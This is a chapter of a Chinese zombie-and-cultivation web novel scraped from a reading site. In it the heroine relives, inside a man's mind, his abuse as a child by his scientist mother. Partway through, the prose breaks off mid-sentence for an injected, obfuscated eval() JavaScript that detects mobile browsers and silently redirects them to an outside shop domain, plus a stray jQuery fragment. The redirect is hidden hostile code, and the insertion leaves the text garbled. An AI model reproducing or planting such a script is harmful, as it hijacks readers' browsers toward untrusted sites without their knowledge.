文趣网 > 其他小说 > 恶毒炮灰,但用丧尸发电 > 48. 第 48 章
    修行讲究心静,意识操控者尤其。

    而长久的训练必定造成损伤,积累下来,就成了心魔。

    每次天劫起,就是梦魇爆发的时候。

    但是末世不一样。

    凌润秋早就发现这里的规则不合理。

    比如心力明明会亏损,却不学闭关修养。还有心魔明明存在,天道却像死了似得不降雷劫。

    只收不放,直至沉疴成疾。

    被心魔爆发的沈清强行拉进意识海里时,她除了刚被表白的惊愕,最大的心情是无奈。

    她再次知道了自己来这里的用处。

    上辈子彻底战胜心魔,将法术练到炉火纯青的傀儡师,只有她。

    现在,她被迫充当医生,前来刮骨疗毒。

    还是在刚被表完白之后。

    说实话直到现在,甚至亲耳听到了,她都不是很相信。

    沈清喜欢她?

    那男人知道喜欢是什么吗……

    脚下缓慢触到实地,她环顾四周,有些看迷住了。

    房屋整体装修考究,融合了现代科技,连灯都和大门颜色照应,随便往哪一站都是景。

    夕阳透过窗户照进来些许,玄关处的自动门缓缓打开,与此同时,二楼楼梯拐角传来规律的脚步。

    女人穿着居家服,头发随意地披在半侧肩膀,似乎刚刚睡醒。

    那是凌润秋见过很多次,已经可以算熟的人。

    她看着王杨搭上扶手,语调轻松地寒暄。

    “刘叔,今天也谢谢你了。”

    凌润秋随着女人视线看过去。

    玄关地毯上有个陌生人,而他身边,是个正低着头,眼神异常冷淡的男孩。

    是沈清。

    凌润秋皱起眉,她看着对方的奶气未褪的娃娃脸。

    虽然听萧钰岚讲过对方的经历,但也仅仅局限于朋友在研究所的所见,在那之前发生的事,谁也不知道。

    刘叔哈哈笑着,轻轻抚摸男孩柔顺的头发。

    “我孙子和他同班,两小孩又是同桌,正好一道送回来。”

    王杨已经走到了客厅,她摇着头。

    “工作太忙了。还留下来喝茶吗?刘叔。”

    老人摆摆手,“你上次送的我还没喝完,就不多待了。清清,怎么不把带的东西拿出来给妈妈看?”

    凌润秋转头看去。她这才注意到沈清手背在身后。

    被揭穿,男孩仍没有声响,脑袋却更低了些。

    她看到王杨眸子里短暂闪过寒光。

    老人还是笑眯眯的。

    “孩子害羞,也是个有心。不送了,我也就走了。”

    大人们又寒暄几句,自动门合上,偌大的别墅里白炽灯光泠冽,一时间,安静得落针可闻。

    王杨的笑意没有消失,只是如抽筋剥髓般凝固,像桌边凝固半生的蜡油。

    “清清”,她淡淡地说,“还记得我们商量好的,想要上学,需要做到什么吗?”

    她并没有完全转向地上的男孩,只是将视线扫下来,眼睫下的瞳孔没有温度。

    沈清的肩膀瑟缩了下,幅度很小,几乎微不可闻。

    凌润秋看着女人的脸上泛起丝活色。

    那并不是怜惜,倒像是野兽发现浑身鲜血的猎物,布满兴奋的好奇。

    王杨在男孩面前慢慢蹲下。

    “拿出来让妈妈看看,好不好?”

    凌润秋紧皱起眉,沈清的意识太强,连累得她也被迫承受。

    心魔爆发时,修行者会被完全拖进回忆里,重演其中最痛苦,最不想面对的时刻。

    如果行差踏错至沦陷,意识同样会被稀释到消亡,留下现实里只会吃睡的死物。

    也是因为如此,代入和体验感都很强。

    此刻,她虽然站在女人背后,那股被死死盯着的黏腻感却丝毫不减,像是被蛇缓慢绕过全身,每处神经都在叫嚣着恐惧。

    那瞬间,她理解了沈清变态的原因。

    有这么一个妈,健康比神经更为困难。

    男孩站在那里。凌润秋看到他抿抿唇,抬头的同时,小手从身后拿出来,递到王杨面前。

    是个端端正正的蓝色千纸鹤。

    沈清的眼神带着期待。

    “妈……妈妈,这是老师今天教的。我觉得,很可爱。”

    那股缠绕全身的黏腻视线瞬间消失。

    虽然只能看到背影,凌润秋无法知道女人的表情,但从沈清此刻连绵不绝的忐忑里,她猜到了后续。

    心魔重演的都是痛苦回忆,而沈清经历各种实验,却仍记着此景到现在,程度恐怕早已超出想象。

    女人的睡裙边缘微微垂地,没有任何移动。

    连自然的轻微颤抖都没有。

    屋子里逐渐安静下架,凌润秋转开视线,不忍继续看。

    过了会,王杨的声音重新出现。

    却不是先前冰冷的腔调。

    “谢谢你,清清,这个真的很好看,你的手很巧。”

    男孩的情绪也好了很多。在最后确认自己感受到的是实打实的快乐后,凌润秋诧异地转过头。

    目光里,沈清肉眼可见的开心。

    嘟嘟的脸颊被笑意撑大,语气也有活泼了很多。

    “那今天,我可以不去地下室吗?我和明明约好了打游戏,要是头昏昏的,就不能打游戏了。”

    她看着女人缓缓站起身。

    紧接着,眼前的所有猛然固定,空气里的灰尘都打了窝似得一动不动。

    王杨的声音缓慢传来。

    “清清,你有好朋友了?对吗?”

    周围的一切迅速加快。

    凌润秋来到了间教室里,丧尸似乎刚刚爆发,老师的哀嚎像被碾碎的炊烟般尖细,随后,变异完成的丧尸红着眼,扑向第一排的学生。

    鲜血在沈清面前喷出。

    小孩倒地的那刻,她听见句从心底发出的喃喃。

    属于见证朋友死亡,却毫无波澜的沈清。

    “我感觉不到了。”

    朋友的血渐渐流到脚边。丧尸在向他发动攻击的瞬间被拧成碎片,肢体盘绕着倒在地上。

    沈清静静地看着地上的小孩。

    “妈妈说,是我的心害了你,她放了东西在学校,用来消毒。老师没有通过考验,是第一个消耗品。”

    “我现在感觉不到了,明明。”

    “你能起来吗?”

    场景继续加快,凌润秋一一看过,研究所场地有限,每位实验体都只能待在很小的空间里。

    沈清作为优秀品,有个属于自己的玻璃箱。

    男人那时候已经长成,箱子高度不够,长也非常堪忧,光腿就占据了全部。

    沈清靠坐在玻璃箱里,手搭在身前,脖颈和腿几乎平行。

    听到动静,男人转头看去。

    王杨已经换成了初见的样子,白大褂焊死在身上。

    女

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17743149|207633||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    人拿着份实验报告,边走边看,即使来到培养仓边视线也没有移开。

    “明天最后一场药剂试完,你就走吧。”

    玻璃仓里沈清的目光陡然亮起。

    女人应该余光瞥见,轻笑出声。

    “不过儿子,还是要记得妈妈的话,不要重蹈你母亲我的覆辙。”

    “绝对不要让情绪活过来。”

    凌润秋挑挑眉。

    看来沈清还是有自己的判别能力,这话没有产生太大的作用。

    毕竟某人说喜欢的时候,可是相当直白。

    但是记忆存在就有意义,她挑选了重点简略记住,顺带着寻找帮沈清走出来的方法。

    心魔爆发会重演记忆,而击破它的唯一方法,就是找到症结。

    然后提供对应的需求,打破原本循环,成为圆满。

    这项工作本来是修行者自己的,但是凌润秋既然被连累了进来,又是在被表白后,她便想要帮一些。

    况且她前辈子独享了所有,觉得这过程实在不很美妙。

    场景再次转变。

    再次亮起,是在两人初见的洞穴。

    凌润秋叹了口气。

    实际上,在看完那些后,她就有了猜测。

    包括沈清缺的是什么,她也知道了七七八八。

    她前世太过丰富,要说没经历过的,也无非那一个字。

    沈清也确实可怜。

    在亲耳听到男人表白后,她就将前因全部串了一遍,知道自己完全误会了。

    不论对方是什么时候意识到的这份感情,从男人决定追她起,也已经过了很久。

    而她因为不习惯将情爱扯到自己身上,所以完全搞错了。

    凌润秋见过很多人,对这种世间存在范围颇广的感情也早已见惯。

    她不习惯这种感情,甚至有些逃避。

    任何事都有两面,热情代表着失控,和他人发生的因,往后必定有果。

    而相对应的,在凌润秋从前觉得,一个人生活更容易接受。

    起码一切可控,没有什么再能伤到她。

    但人总是会变的。

    踏过前世上百年的孤寂,她来到沈清面前。

    如果说这里究竟有什么不同,大概就是如此。

    这是上天安排的一段缘。

    凌润秋拒绝过很多人,但是现在,如果沈清情深意重,她愿意给个机会。

    山洞里一片漆黑,她那时候刚摸完沈清的手,转过身找药。

    男人的声音在耳边响起。

    “怎么突然不一样了?又要搞什么?难不成,重尸?”

    听上去是沈清的心里想法。

    凌润秋起了点兴趣。

    记得这么清楚,还放在了心魔里。她可没印象自己哪里伤害了沈清。

    心声在她拉着对方摸心跳时再次响起。

    “卧槽,她是变态吗?真恶心。”

    两人分开,场景也再次转换。

    再有画面,是钢筋偷袭,最终砸在圆肚子腿边时。

    沈清的声音再次响起。

    这一回,情绪相比以往都要激烈。

    “为什么关系这么好?”

    男人的目光看向别处,凌润秋顺着过去,见到了两个牵着手愣住的身影。

    是她和宋慕。

    与此同时,沈清的心声再次响起。

    “那女孩,是不是喜欢她?”

    “凭什么?”